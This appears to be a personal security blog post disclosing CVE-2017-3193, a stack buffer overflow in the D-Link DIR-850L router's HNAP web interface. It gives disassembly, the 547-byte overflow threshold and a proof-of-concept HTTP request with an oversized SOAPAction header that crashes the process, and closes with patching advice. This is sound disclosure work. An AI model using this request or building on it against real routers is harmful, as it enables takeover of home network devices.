$$\ $$\ $$\ $$\ $$$\ $$ | $$ | $$ | $$$$\ $$ | $$$$$$\ $$$$$$\ $$$$$$\ $$$$$$\ $$$$$$$\ $$$$$$$\ $$$$$$\$$$$\ $$$$$$\ $$ $$\$$ |$$ __$$\ $$ __$$\ \____$$\\_$$ _| $$ _____|$$ __$$\ $$ _$$ _$$\ $$ __$$\ $$ \$$$$ |$$ / $$ |$$ / $$ | $$$$$$$ | $$ | $$ / $$ | $$ | $$ / $$ / $$ |$$$$$$$$ | $$ |\$$$ |$$ | $$ |$$ | $$ |$$ __$$ | $$ |$$\ $$ | $$ | $$ | $$ | $$ | $$ |$$ ____| $$ | \$$ |\$$$$$$ |$$$$$$$ |\$$$$$$$ | \$$$$ |\$$$$$$$\ $$ | $$ |$$\ $$ | $$ | $$ |\$$$$$$$\ \__| \__| \______/ $$ ____/ \_______| \____/ \_______|\__| \__|\__|\__| \__| \__| \_______| $$ | $$ | \__|
Back in december, I discovered a vulnerability on the D-LINK DIR-850L router that allowed to execute arbitrary code on the affected device, as root. However, I could not publish anything about it until the responsible disclosure process was done, and so it is.
The vulnerability affects the firmware version 2.07 Build 5 and earlier, and could possibly affect other D-LINK routers since they use to reuse firmware code in their devices. Additionally, it is worth saying that, with the default router configuration, the vulnerability can only be exploited from the LAN and Wi-Fi interfaces. However, if the device’s remote management option is enabled, it will also be exploitable from the WAN interface.
The affected service is the management web interface, specifically the cgibin file located within the htdocs folder on the router filesystem. The vulnerability is a Stack-Based Buffer Overflow, caused by a non-controlled use of the strcat() function that allows an overwrite of the PC, and thus change the execution flow of the program, allowing arbitrary code execution.
The call to strcat that is causing the Buffer Overflow is located at the offset 0x414a20. From the arguments passed to strcat the first (destination) corresponds to the second part of the HNAP_AUTH header, and the second (source) corresponds to the content of the SOAPAction header. If the size of the content of the SOAPAction plus the second part of the HNAP_AUTH header is more than 547 bytes, it will overflow and the following 4 overwritten bytes will correspond to the stored PC within the stack.
0x00414130 8f998410 lw t9, -0x7bf0(gp) ; [0x43ad50:4]=0x4251e0 sym.imp.getenv 0x00414134 0320f809 jalr t9 0x00414138 24847dac addiu a0, a0, 0x7dac ; HTTP_SOAPACTION 0x0041413c 3c040042 lui a0, 0x42 0x00414140 8fbc0020 lw gp, 0x20(sp) 0x00414144 2484615c addiu a0, a0, 0x615c 0x00414148 8f998410 lw t9, -0x7bf0(gp) ; [0x43ad50:4]=0x4251e0 sym.imp.getenv 0x0041414c 0320f809 jalr t9 0x00414150 00408821 move s1, v0 ; HTTP_SOAPACTION saved to s1 ... 0x00414a14 02402021 move a0, s2 ; arg1 (dest) 0x00414a18 8fbc0020 lw gp, 0x20(sp) 0x00414a1c 8f9982b0 lw t9, -0x7d50(gp) ; [0x43abf0:4]=0x4253e0 sym.imp.strcat 0x00414a20 0320f809 jalr t9 ; Call to strcat 0x00414a24 02202821 move a1, s1 ; arg2 (src)
The following request is a Proof of Concept that will cause the process to crash, by overwriting the PC with the value 0x41414141. Note that the following is a modification of a legitimate request and that not all the headers are necessary to cause the crash.
POST /HNAP1/ HTTP/1.1 Host: 192.168.0.1 User-Agent: Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:49.0) Gecko/20100101 Firefox/49.0 Accept: */* Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Content-Type: text/xml; charset=utf-8 SOAPAction: XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXAAAA HNAP_AUTH: BBD0605AF8690024AF8568BE88DD7B8E 1482588069 X-Requested-With: XMLHttpRequest Referer: http://192.168.0.1/info/Login.html Content-Length: 306 Cookie: uid=kV8BSOXCoc Connection: close
This vulnerability has been assigned the CVE number CVE-2017-3193, which turns out to be my first vulnerability with CVE, which makes me quite happy!
If you happen to have the vulnerable device with a vulnerable firmware version (which is very likely if you don’t usually update your devices), I recommend to check whether you have the remote management option enabled and disable it as soon as possible. After that, make sure to update your device by installing the latest version of the firmware that fixes this vulnerability, which can be found in D-LINK’s official site.